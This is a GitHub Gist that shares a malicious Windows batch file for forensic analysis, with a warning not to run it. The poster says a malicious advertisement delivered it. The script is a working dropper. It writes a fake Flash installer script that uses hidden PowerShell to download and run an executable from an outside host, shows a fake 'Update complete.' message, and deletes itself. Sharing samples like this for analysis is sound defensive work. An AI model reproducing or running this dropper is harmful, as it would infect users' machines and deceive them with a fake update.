Created
July 16, 2016 14:36
-
-
Save IQAndreas/61f04b9ff36ba13ba461740f2d153240 to your computer and use it in GitHub Desktop.
DO NOT RUN! This is malware. This batch file was automatically downloaded by Google Chrome from a website when it redirected to an advertisement. Posted here for forensic analysis.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| @echo off | |
| echo a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\2a8e4da7858ebc8a788b7e303e06ab57.exe';(New-Object System.Net.WebClient).DownloadFile('https://ahsunachatdesign.net/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)",0,false); >"%temp%\install_flash.js" | |
| start /min "" wscript.exe "%temp%\install_flash.js" | |
| DEL "%~f0 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment